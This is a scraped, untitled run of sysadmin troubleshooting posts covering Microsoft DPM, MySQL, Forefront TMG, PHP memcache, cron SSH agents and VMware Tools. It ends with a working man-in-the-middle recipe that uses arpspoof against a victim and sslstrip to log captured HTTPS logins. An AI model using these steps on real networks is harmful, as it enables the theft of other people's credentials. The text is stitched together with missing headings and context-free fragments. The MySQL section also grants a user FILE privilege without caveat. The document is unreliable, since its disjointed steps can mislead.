* The above article works under CentOS / RedHat Enterprise distributions

Affected area: dpm-srv01
Occurred since: 26/04/2011 12:25:42
Description: Agent operation failed. (ID 370)
The credentials specified for server phy-srv01 are invalid. (ID 32680)

How To:

1. Login to the server where you installed the DPM Agent
2. Navigate to the DPM Agent files

cd “c:\Program Files\Microsoft Data Protection Manager\DPM\bin”

3. Create an NT user account to communicate with the DPM Server

SetDpmServer.exe -dpmServerName dpm-srv01 -isNonDomainServer -userName backup

4. In case you need to update only the password for the current NT user account:

SetDpmServer.exe -dpmServerName dpm-srv01 -isNonDomainServer -updatePassword

5. Login to your DPM Server and under Management Tab install an Agent with the new credentials provided.

* We used the isNonDomainServer because the specified server is in a workgroup

mysql> select * INTO OUTFILE ‘/tmp/file.out’ from TABLE;
“ERROR 1045 (28000): Access denied for user ‘db_user’@'localhost’ (using password: YES)”

How To:

mysql -u root -p

1. use mysql;
2. update user set File_priv = ‘Y’ where User = ‘db_user’;
3. FLUSH PRIVILEGES;

This error is commonly a Firewall issue but in the case of Forefront TMG 2010 it seems that we must enable BrancheCache protocol in order for the updates to work. A second workaround that is not suggested is to uninstall SP1 which makes the Windows Update work again.

How To:

1. Select Firewall Policy and under Tasks select Create Access Rule

2. Give an Access rule name, ex: Branch Cache and click Next

3. Under Rule Action select Allow and click Next

4. Under Protocols click on Add button and under All Protocols select the BranchCache – Advertise and BranchCache – Retrieval. Click Next

5. Under Access Rule Sources click on Add and under Networks select External. Click Next

6. Under Access Rule Destinations click on Add and under Networks select Internal and Local Host. Click Next

7. Under User Sets leave the default All Users. Click Next and Finish

Now you are able to download and install Windows Updates

When trying to install the Forefront TMG 2010 SP1 Upgrade you are getting the following error: “Setup cannot modify or create the registry entry System\CurrentControl\Set\Services\Tcpip\Parameters” and some minutes later on another error saying that Setup was unable to configure TCP settings.

How To:

1. Download Forefront TMG 2010 SP1 Upgrade here

2. Press SHIFT key and right click on TMG SP1 .msp file, select Copy as path

3. Start -> Run -> cmd, right click cmd.exe and Run as Administrator

4. Right click on Command Prompt window and select Paste.

5. Press Enter to start the Setup

6. When the installation is finish launch the Forefront TMG Console then click Help and select About. You should now see version 7.0.8108.200

How To:
1. vi /etc/yum.repos.d/CentOS-Testing.repo

PHP Warning: PHP Startup: memcache: Unable to initialize module
Module compiled with module API=20050922, debug=0, thread-safety=0
PHP compiled with module API=20060613, debug=0, thread-safety=0
These options need to match
in Unknown on line 0

The specific warning mention the memcache module. In order to fix this we will need to run the pecl command in order to compile memcache module from source

How To:

1. yum install make php-devel
2. pecl install memcache

Output:

Build process completed successfully
Installing ‘/usr/lib64/php/modules/memcache.so’
install ok: channel://pecl.php.net/memcache-2.2.6
configuration option “php_ini” is not set to php.ini location
You should add “extension=memcache.so” to php.ini

If you closely check the backup script output you will notice that there is a permission denied error as follow:

Permission denied, please try again.
Permission denied, please try again.
Permission denied (publickey,password).
rsync: connection unexpectedly closed (0 bytes received so far) [receiver]
rsync error: unexplained error (code 255) at io.c(635) [receiver=3.0.3]

Although your script might run from command line without problems this is not the case when you run it through crontab. The reason behind that, is that crontab runs in restricted environment and does not provide the SSH_AUTH_SOCK variable in order for the SSH Client to communicate with the SSH Agent properly.

To solve this problem we will need to find the socket path in the /tmp directory and assign that value as a variable to the crontab.

Example:

root@box:~# find /tmp/keyring*/ -perm 0755 -type s -user YOURUSER -group YOURGROUP -name ‘*ssh’ | head -n 1
/tmp/keyring-pf25yg/ssh

How To:

1. crontab -e

* * * * * SSH_AUTH_SOCK=”$(find /tmp/keyring*/ -perm 0755 -type s -user YOURUSER -group YOURGROUP -name ‘*ssh’ | head -n 1)” /bin/sh /path/backup.sh

After the guest operating system installation is finished and you try to install the VMware Tools you are getting the following error: “VMWare Tools installation cannot be started manually while the easy install is in progress”.

In order to solve this error message we will have to unmount the virtual floppy drive image that was used to do the setup in the Virtual Machine Settings.

How To:

1. Go to Virtual Machine -> Virtual Machine Settings (Ctrl + D)
2. Select Floppy
3. Select Use physical drive and set it to Autodetect. Press OK

4. Go to Virtual Machine -> Install VMware Tools..

How to:

1. Set up IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

2. Set up Port redirection using iptables
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1337

3. Start ARP MITM
arpspoof -i eth0 -t VICTIMIP GATEWAY

4. Start SSL Strip Tool
sslstrip -l 1337 -w log.txt

5. Wait until the target login to a website that supposed to use HTTPS/SSL

6. Check log.txt for captured information
